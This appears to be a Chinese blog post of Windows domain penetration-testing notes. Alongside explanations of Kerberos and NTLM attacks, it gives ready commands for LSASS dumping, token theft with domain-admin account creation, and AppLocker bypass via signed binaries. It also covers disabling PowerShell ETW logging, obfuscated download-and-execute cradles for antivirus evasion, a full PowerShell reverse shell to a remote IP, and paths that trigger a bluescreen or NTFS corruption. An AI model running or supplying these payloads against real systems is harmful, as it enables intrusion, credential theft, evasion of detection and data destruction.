Windows知识点

前言

一点Windows内网渗透的笔记,知识点比较细碎,后续可能还会追加内容。

参考链接:https://daiker.gitbook.io/windows-protocol

Kerberos

Kerberos默认使用88/UDP端口。
Kerberos主要包含4种请求响应消息AS_REQ、AS_REP、TGS_REQ、TGS_REP,两种拓展认证模块S4U2和PAC。
各类消息中最重要的是TGT票据和TGS票据,票据中主要包含session key和加密ticket。
不同消息类型中包含的攻击点不同,S4U2协议主要用在约束委派和非约束委派攻击中。

AS_REQ

用户向AS(Authentication Service)请求TGS申请票据,消息中包含用户hash加密的时间戳,攻击者只要获取到用户hash就可以伪装成用户与AS交互。其中用户hash在使用时可能用于不同加密算法(都采用对称加密),如果作为RC4密钥则称为PTH,如果作为AES密钥则称为PTK。

AS_REP

AS在接收到AS_REQ后,尝试使用用户hash解密时间戳,认证成功后使用krbtgt hash加密krbtgt并返回给用户(注意:krbtgt hash是随机生成的,难以爆破,与服务hash不同)。
如果攻击者获取到krbtgt hash,就可以伪装成AS服务向任意用户颁发tgt票据,这个票据称为黄金票据,通过黄金票据可以伪装成用户申请任意服务的TGS票据。
如果当前用户没有设置预验证机制,那么AS将不认证用户身份,直接返回结果。返回的AS_REP中会包含用户hash加密的session_key,通过hashcat爆破可以得到用户明文口令,这种攻击成为AS_REPRoasting。

TGS_REQ

用户在获取到AS_REP响应后,可以与TGS(Ticket Granting Service)交互,申请服务的TGS票据。这一步主要使用session key进行身份验证。

TGS_REP

TGS在收到用户请求后,不会验证用户对指定服务是否有访问权限,直接将服务hash加密的ticket返回给用户。通过爆破,可以获取到服务的明文密码,这种攻击成为Kerberoasting。在获取到服务密码及hash后,就可以伪装成服务向任意用户签发TGS票据,这种票据成为白银票据,通过白银票据可以伪装成用户访问对应服务(如果服务设置为验证PAC签名则无法使用)。

S4U2

S4U2机制主要结合约束委派和非约束委派,帮助服务端代替用户访问自身或其他服务,包含S4U2Self和S4U2Proxy。
非约束委派中,服务A将用户发来的用户TGT存入LSASS中,随后跟TGS交互,可以访问任意服务。攻击者如果能够从LSASS中提取出用户TGT,就可以实施PTT。
约束委派中,服务A无需和用户交互即可得到用户访问服务A的TGS,随后通过S4U2Proxy获取可转发TGS,代替任意用户访问指定服务B。如果攻击者获取了A的权限,就可以伪造用户访问服务B。
约束委派一般需要域管权限才能配置,而基于资源的约束委派仅仅需要服务B的LDAP权限。当攻击者拥有服务A权限和服务B的LDAP权限时,可以配置A到B的约束委派,随后就可以伪造用户访问服务B。

PAC

PAC对用户和服务透明,仅TGS可以查看并使用,用户和服务只能获取到签名加密的PAC。PAC中保存了每个用户的SID、组信息,当服务进行PAC验证时TGS对权限进行检查。
MS14-068:KDC无法检查PAC签名,导致用户可以任意伪造签名,实现提权。

主要攻击方法

  1. 用户名枚举(利用AS)
  2. PTH/PTK(利用客户机)
  3. 密码喷洒(利用AS)
  4. AS_REPRoasting(无预验证时可用)
  5. 黄金票据
  6. Kerberoasting
  7. 白银票据
  8. 非约束委派攻击(PTT)
  9. 约束委派攻击
  10. 基于资源的约束委派攻击

NTLM

NTLM协议是SSP的一种实现,属于嵌入型认证协议,可以嵌入在其他协议中实现认证,如HTTP、SMB、Exchange、LDAP等。
NTLM主要包含三种消息,type1、type2、type3。

type1

由客户端发送到服务端的协商消息,包含客户端支持和请求功能列表。

type2

服务器收到客户端的协商请求,生成Challenge,返回质询消息。消息中包含服务器支持和同意的功能列表。
由于包含服务器信息,可以进行信息收集,可以获取操作系统信息、主机名、服务版本信息、NetBIOS名等。

type3

用户使用用户hash加密Challenge,发送给服务端进行认证。结合type2中的Challenge值,可以实施NTLM relay、跨协议relay、NTLM reflect攻击。

主要攻击方法

NTLM没有中间人防护,因此存在NTLM relay、NTLM reflect、跨协议reflect等攻击手段。
服务端在type2中可以指定Net-NTLM加密Challenge使用的算法,利用存在漏洞的算法,可以爆破出用户密码明文。
攻击者如果获取到了用户hash,就可以实施PTH,伪装成用户进行交互。
中间人将Challenge和用户hash加密的challenge转发到目标服务,这种攻击成为NTLM relay。
由于NTLM是嵌入型协议,可以提取并转换到其他服务消息中,因此可以跨协议relay,包含Relay2SMB(默认仅域控启用SMB签名认证)、Relay2EWS、Relay2LDAP(20年1月域控强制签名)等。
在工作组中,常常无法进行主机间验证,但可以向自己发起验证,因此可以由中间人转发到发起端,实现对发起端服务的访问,这种攻击成为NTLM reflect。微软使用暂存发起记录的方式缓解NTLM reflect,但是缓存时间只有5分钟,之后再relay就可以绕过。

诱导发起NTLM请求

可以通过UNC路径使得目标主机向指定服务发起NTLM请求,进而获取到Net-NTLM信息,实施Relay等。

  1. 图标
    每个文件夹下的desktop.ini
    文件夹下的scf 文件
    用户头像
  2. 系统命令携带UNC路径

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    > net.exe use \hostshare
    > attrib.exe \hostshare
    > bcdboot.exe \hostshare
    > bdeunlock.exe \hostshare
    > cacls.exe \hostshare
    > certreq.exe \hostshare #(noisy, pops an error dialog)
    > certutil.exe \hostshare
    > cipher.exe \hostshare
    > ClipUp.exe -l \hostshare
    > cmdl32.exe \hostshare
    > cmstp.exe /s \hostshare
    > colorcpl.exe \hostshare #(noisy, pops an error dialog)
    > comp.exe /N=0 \hostshare \hostshare
    > compact.exe \hostshare
    > control.exe \hostshare
    > convertvhd.exe -source \hostshare -destination \hostshare
    > Defrag.exe \hostshare
    > diskperf.exe \hostshare
    > dispdiag.exe -out \hostshare
    > doskey.exe /MACROFILE=\hostshare
    > esentutl.exe /k \hostshare
    > expand.exe \hostshare
    > extrac32.exe \hostshare
    > FileHistory.exe \hostshare #(noisy, pops a gui)
    > findstr.exe * \hostshare
    > fontview.exe \hostshare #(noisy, pops an error dialog)
    > fvenotify.exe \hostshare #(noisy, pops an access denied error)
    > FXSCOVER.exe \hostshare #(noisy, pops GUI)
    > hwrcomp.exe -check \hostshare
    > hwrreg.exe \hostshare
    > icacls.exe \hostshare
    > licensingdiag.exe -cab \hostshare
    > lodctr.exe \hostshare
    > lpksetup.exe /p \hostshare /s
    > makecab.exe \hostshare
    > msiexec.exe /update \hostshare /quiet
    > msinfo32.exe \hostshare #(noisy, pops a "cannot open" dialog)
    > mspaint.exe \hostshare #(noisy, invalid path to png error)
    > msra.exe /openfile \hostshare #(noisy, error)
    > mstsc.exe \hostshare #(noisy, error)
    > netcfg.exe -l \hostshare -c p -i foo
  3. XSS
    适用于IE和Edge,其他浏览器默认会认为跨域

  4. outlook
    邮件中的HTML里包含UNC路径
  5. PDF
    使用Acrobat打开会有提示,Chrome或IE打开无法执行
  6. office
    word文件中包含UNC加载项
  7. MySQL
    LOAD_FILE使用UNC路径
  8. NBNS和LLMNR
    用于域名解析,类似于ARP,可以进行投毒
  9. WPAD和mitm6
    WPAD用于自动发现代理,可以结合LLMNR/NBNS投毒或DHCPv6
  10. XXE && SSRF
  11. 打印机漏洞
    控制打印服务,以机器用户向指定计算机发送更改通知。在拿到机器用户hash之后,可以尝试relay到Exchange服务,或到LDAP添加dcsync权限、基于资源的约束委派,进而实现提权。

AS_REP Roasting

AS服务在用户未开启预验证的情况下会直接返回该用户的TGT,其中包含了用户hash加密的session_key
使用Impacket的GetNPUsers.py,可以获取无预验证用户hash加密的session_key。
只要知道用户名,就能够批量导出用户hash。

SYSVOL保存敏感信息

管理员将含有密码的文件保存在域的SYSVOL中,导致任意域用户可以读取敏感文件。
经典案例:Group Policy Preferences (GPP) with cPassword attribute (MS14-025)、硬编码在脚本中的密码和配置文件。
测试方法:

1
findstr /s /n /i /p password \\<DOMAIN>\sysvol\<DOMAIN>\*

常用网络服务

WINRM

WINRM服务监听5985端口,方便进行远程管理,可能存在未授权访问。
端口复用后门:在开启web服务的主机上执行以下指令即可监听80端口,同时保留5989监听

1
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

可以通过以下指令实现只监听80端口

1
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

常用工具:evil-winrm

MSRPC

Windows远程过程调用接口,监听TCP/UDP 135端口,可能存在未授权访问。

常用工具:rpcclient

1
2
3
4
5
rpcclinet -U "" -N <IP>
enumdomusers
enumdomgroups
queryuser <username>
querydispinfo

SMB

实现文件共享,网上邻居等,使用NetBIOS通信或使用TCP 445端口,可以通过UNC路径访问其他主机上的文件。可能存在未授权访问漏洞
常用工具:smbmap、impacket-server.py
smbmap:遍历SMB路径
smbclient:连接smb服务
crackmapexec:密码喷洒、口令爆破
impacket-server.py:启动一个SMB服务,可以在远程主机上访问本机文件

LDAP

用于保存域中信息的服务,默认389端口,加密端口636。可能存在未授权访问,可能受到DCSync攻击
常用工具:ldapsearch

NetBIOS

监听UDP 137、UDP 138、TCP 139端口,分别实现名称、数据报、会话服务。
早期SMB运行于NetBIOS协议之上,后来独立出445端口。

提权

内核溢出漏洞

常用工具:
wmic查询补丁信息
msf模块post/windows/gather/enum_patches
windoes-exploit-suggester
Sherlock

配置错误

  1. 服务权限错误
    若服务未运行,则替换原服务,重启服务。若服务正在运行且无法停止,则劫持DLL并重启服务
    常用工具:PowerUP脚本检测,msf模块exploit/service_permissions
  2. 注册表键值AlwaysInstallElevated
    会允许低权限用户以system权限运行MSI安装文件。在运行msi文件时,系统使用msiexec.exe执行安装操作,因此可以使用恶意msi实现提权。
    常用工具:PowerUP脚本的Write-UserAddMSI生成恶意msi文件,msf模块exploit/windows/local/always_install_elevated
  3. 可信任服务路径
    Windows在解析文件路径空格时,会优先测试空格是否为截断,在特定位置放置恶意文件,并重启服务,会被当做可信任服务程序被执行。
    常用工具:wmic查询没有被引号包括的服务路径,msf模块exploit/trusted_service_path
  4. 自动安装配置文件
    批量部署的配置文件中可能存在本地管理员密码。
    常用工具:msf模块exploit/windows/gather/enum_unattend
  5. 计划任务
    替换计划任务的程序文件
    常用工具:AccessChk.exe查询缺陷文件
  6. Empire模块检测
    使用Empire的privesc/powerup/allchecks模块,检查以下:
    • 没被引号括起来的服务路径
    • ACL配置错误
    • 服务可执行文件权限配置不当
    • Unattend.xml文件
    • 注册表AlwaysInstallElevated
    • 注册表中的Autologon凭证
    • 加密的web.config字符串和应用程序池的密码
    • DLL劫持机会

组策略首选项(GPP)

SYSVOL在域中的所有域控之间自动同步和共享,用于存放登录脚本、组策略数据、其他域控需要的域信息等。管理员可能通过与策略进行统一配置和管理,在修改本地管理员密码后会导致所有机器本地管理员密码相同,如果攻击者读取到一台机器里GPP中的密码就相当于获取所有主机本地管理员密码。
组策略信息被保存在SYSVOL中的XML文件中,密码使用AES-256加密,微软已经公开加密私钥。
常用工具:PowerSploit中的Get-GPPPassword.ps1,msf模块post/windows/gather/credentials/gpp,Empire模块privesc/gpp

绕过UAC

UAC将进程权限分为高等级、中等级、低等级三类,分别拥有管理员、普通用户、有限权限。UAC有四种设置:始终通知、仅在程序试图更改计算机时通知、仅在程序试图更改计算机时通知(不改变桌面亮度)、从不提示,默认使用的是仅在程序试图更改计算机时通知。
当用户在管理员组中时,可以使用msf模块exploit/windows/local/bypassuac实现system权限,但是会释放文件,容易被检测;用exploit/windows/local/bypassuac_injection通过反射DLL注入实现。
使用msf模块exploit/windows/local/ask创建一个可执行文件,自动运行并提示用户是否继续运行,若成功运行则获取system权限。
Nishang中的Invoke-PsUACme脚本可以通过UACME项目中的DLL文件绕过UAC。
Empire使用privesc/bypassuac模块或privesc/bypassuas_wscript模块实现绕过。其中wscript模块使用wscript.exe执行payload,只适用于win7,尚无补丁。

令牌窃取

令牌作为临时密钥保存在系统中,代替账户和密码进行身份验证,重启后清空。令牌主要分为访问令牌(代表操作主体)、密保令牌(也称认证令牌、硬件令牌,是实现身份校验的物理设备)和会话令牌。令牌窃取和伪造攻击主要针对Kerberos协议。

  1. meterpreter
    在meterpreter中执行
    1
    2
    3
    use incognito
    list_tokens -u # 查看所有令牌,分为授权令牌和模拟令牌两种
    impersonate_token <令牌用户> # 使用用户令牌,实现越权,但是受限于当前用户权限

还可以使用rotten potato的exp实现权限提升,获取system权限。

1
2
3
# 下载rottenpotato.exe
execute -HC -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"

也可以通过migrate到域管理进程中,并添加管理员账户实现提权至域管理员

1
2
3
4
ps
migrate <pid>
net user shuteer xy@china110 /ad /domain
net group "domain admins" shuteer /ad /domain

  1. Empire
    可使用mimikatz获取系统密码
    1
    2
    creds
    pth <CredID> # 窃取用户令牌

也可以查找是否有域管理用户的进程

1
2
steal_token <ProcID>
revtoself # 恢复令牌权限

无凭证条件下的欺骗攻击

主要利用LLMNR和NetBIOS欺骗实现。
当内网DNS服务器不可用时,会使用LLMNR进行地质解析,类似ARP。NetBIOS提供三种服务:名称服务(NBT-NS,可实现DNS)、数据报分发服务、会话服务。
利用:当用户输入错误主机名使,DNS查询失败,启用NBT_NS和LLMNR解析。通过Responder回应客户端请求,并声明自己是被请求主机,并尝试建立SMB连接,客户端会发送Net-NTLM Hash进行验证,后续可以通过Net-NTLM进行攻击。

信息收集

Windows信息收集步骤:

  1. 本机信息收集
  2. 域内信息收集
  3. 登陆凭证窃取
  4. 存活主机探测
  5. 内网端口扫描

域信息

SPN发现域内服务,利用ldap公开的SPN服务,无需内网扫描。

凭据转储

用户登录凭据被自动保存在lsass.exe中,尝试通过读取内存进行转储。
mimikatz可能被杀,可以尝试微软签名的工具procdump和minidump

1
2
rundll32.exe C:\Windows\System32\comsvcs.dll, Minidump C:\lsass.dmp full
procdump64.exe -accepteula -ma lsass.exe C:\lsass.dmp

用户空间中的凭据

浏览器用户名密码、cookie

AppLocker绕过

Windows自带的程序限制功能。将程序用发布者、路径、文件哈希进行描述,对用户、组成员发起的运行操作进行管理,包括允许和禁止两类。

绕过方法:

  1. Installutil.exe作为.NET框架的一部分,支持命令行安装和卸载程序。由Microsoft签名,且位于windows目录内,该文件夹不会被限制。
    C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
  2. Msbuild.exe在安装了vs的机器上存在,采用xml格式的项目文件进行软件构建。将C#代码内联入xml文件,可以实现执行。

    1
    2
    3
    4
    5
    6
    C:\Windows\Microsoft.NET\Framework\v2.0.50727\Msbuild.exe
    C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Msbuild.exe
    C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
    C:\Windows\Microsoft.NET\Framework64\v3.5\Msbuild.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe
  3. Mshta.exe用来读取.hta文件,默认存在于环境变量,且支持加载远程恶意hta文件。
    mshta.exe http://192.168.0.106:8080/JR1gb3TO6.hta
    mshta.exe javascript:a=GetObject("script:https://gist.github.com/someone/something.sct").Exec();close()

  4. InfDefaultInstall.exe用于安装inf文件,具有Microsoft签名。使用恶意inf文件调用远程sct后门,实现执行,但是win10下会有弹窗警告。

    1
    2
    C:\Windows\System32\Infdefaultinstall.exe
    C:\Windows\SysWOW64\Infdefaultinstall.exe
  5. Mavinject32.exe是win10自带的组件,可以实现dll注入,并绕过部分限制。

    1
    2
    3
    4
    mavinject32.exe <PID> <PATH DLL>
    C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe
    C:\Windows\System32\mavinject.exe
    C:\Windows\SysWOW64\mavinject.exe
  6. msiexec用于通过命令行安装或配置软件,如果msi文件没有被禁用,则可以用msiexec实现绕过。(如果存在错误配置AlwaysInstallElevated可能导致提权)
    msiexec /quiet /i powershell.msi

  7. msxsl.exe用于转换xml文件,由Microsoft签名,可以用来绕过限制。
    msxsl.exe custom.xml script.xml
  8. Regsvr32.exe是Windows自带程序,用于将.dll文件和ActiveX控件注册和注销到注册表中。支持加载远程恶意文件。

    1
    2
    3
    4
    C:\Windows\System32\regsvr32.exe
    C:\Windows\SysWOW64\regsvr32.exe
    regsvr32.exe /u /n /s /i:C:\test\pentest.sct scrobj.dll
    regsvr32.exe /u /n /s /i:http://ip:port/payload.sct scrobj.dll
  9. Rundll32.exe用于执行dll文件中的代码。支持远程加载。

    1
    2
    rundll32 shell32.dll,Control_RunDLL C:\Users\pentestlab.dll
    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

PowerShell

利用参数容错

参数可以不完整,用来混淆日志记录

1
2
3
4
5
-ExecutionPolicy Bypass
-ExecutionPol Bypass
-Executio Bypass
-Exec Bypass
-Ex Bypass

WindowStyle`EncodedCommand`同理。

禁用PowerShell记录

1
2
3
$EtwProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static');
$EventProvider = New-Object System.Diagnostics.Eventing.EventProvider -ArgumentList @([Guid]::NewGuid());
$EtwProvider.SetValue($null, $EventProvider);

文件下载

1
2
3
4
5
6
7
8
9
mshta vbscript:Close(Execute(“GetObject(““script: http://webserver/payload.sct ””)”))
mshta http://webserver/payload.hta
rundll32.exe javascript:"..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
certutil -urlcache -split -f http://webserver/payload payload
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
Invoke-WebRequest URL/FILENAME -O SAVE_PATH\FILENAME
bitsadmin /transfer update /priority high URL SAVE_PATH\FILENAME

免杀

Powershell免杀从入门到实践
在已有cmd执行接口下绕过杀软调用PowerShell。

混淆前:基础的无文件加载。

1
powershell  -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')"

在cmd中利用环境变量提取powershell字符串。

1
%psmodulepath:~24,10%

IEX设置别名。

1
powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')

转义混淆DownloadString

1
"Down`l`oadString"

变量拆分http

1
powershell "$a='((new-object net.webclient).downloadstring(''ht';$b='tp://109.xx.xx.xx/a''))';IEX ($a+$b)"

中文单引号分割http

1
ht‘+’tp

最终payload

1
2
3
cmd /c "set p1=power&& set p2=shell&& cmd /c echo (New-Object Net.WebClient).DownloadString("http://109.xx.xx/a") ^|%p1%%p2% -"
echo Invoke-Expression (New-Object "NeT.WebClient")."Down`l`oadString"('h'+'ttp://106.xx.xx.xx/a') | powershell -
chcp 1200 & powershell -c "IEX(New-Object Net.WebClient)."DownloadString"('ht‘+’tp://xx.xx.xx/a')"

cmd下查杀比较严格时,可以尝试反弹PowerShell。

1
2
3
4
5
6
7
8
9
powershell  -c "$client = New-Object Net.Sockets.TCPClient('106.xxx.xxx.xxx',9090);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );
$sendata =$sendback+'PS >';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);
$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);
$stream.Flush()};$client.Close()"

服务端监听tcp端口即可

1
nc -lvp 9090

渗透测试实战第三版

https://wizardforcel.gitbooks.io/the-hacker-playbook-3/content/

破坏可用性

蓝屏重启

在Windows10 1709版本之后,访问特定UNC路径,可造成蓝屏重启。

1
\\.\globalroot\device\condrv\kernelconnect

利用方法:

  • 浏览器URL中输入payload(Chrome、Edge、Firefox可用)
  • XSS,通过script加载路径(仅Chrome/Edge)
  • PowerShell访问(ls命令等)
  • 其他可以参考触发Net-NTLM的方法

NTFS硬盘损坏

Windows10中访问特定C盘路径,若磁盘采用NTFS文件系统,则可造成硬盘损坏。

1
c:\:$i30:$bitmap

利用方法:

  • 命令行接口(cd命令等)
  • ZIP压缩文件(指向路径)
  • 打开ISO、VHD、VHDX文件
  • XSS,通过script加载

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 前言
  2. 2. Kerberos
    1. 2.1. AS_REQ
    2. 2.2. AS_REP
    3. 2.3. TGS_REQ
    4. 2.4. TGS_REP
    5. 2.5. S4U2
    6. 2.6. PAC
    7. 2.7. 主要攻击方法
  3. 3. NTLM
    1. 3.1. type1
    2. 3.2. type2
    3. 3.3. type3
    4. 3.4. 主要攻击方法
    5. 3.5. 诱导发起NTLM请求
  4. 4. AS_REP Roasting
  5. 5. SYSVOL保存敏感信息
  6. 6. 常用网络服务
    1. 6.1. WINRM
    2. 6.2. MSRPC
    3. 6.3. SMB
    4. 6.4. LDAP
    5. 6.5. NetBIOS
  7. 7. 提权
    1. 7.1. 内核溢出漏洞
    2. 7.2. 配置错误
    3. 7.3. 组策略首选项(GPP)
    4. 7.4. 绕过UAC
    5. 7.5. 令牌窃取
    6. 7.6. 无凭证条件下的欺骗攻击
  8. 8. 信息收集
    1. 8.1. 域信息
    2. 8.2. 凭据转储
    3. 8.3. 用户空间中的凭据
  9. 9. AppLocker绕过
  10. 10. PowerShell
    1. 10.1. 利用参数容错
    2. 10.2. 禁用PowerShell记录
    3. 10.3. 文件下载
    4. 10.4. 免杀
  11. 11. 渗透测试实战第三版
  12. 12. 破坏可用性
    1. 12.1. 蓝屏重启
    2. 12.2. NTFS硬盘损坏
,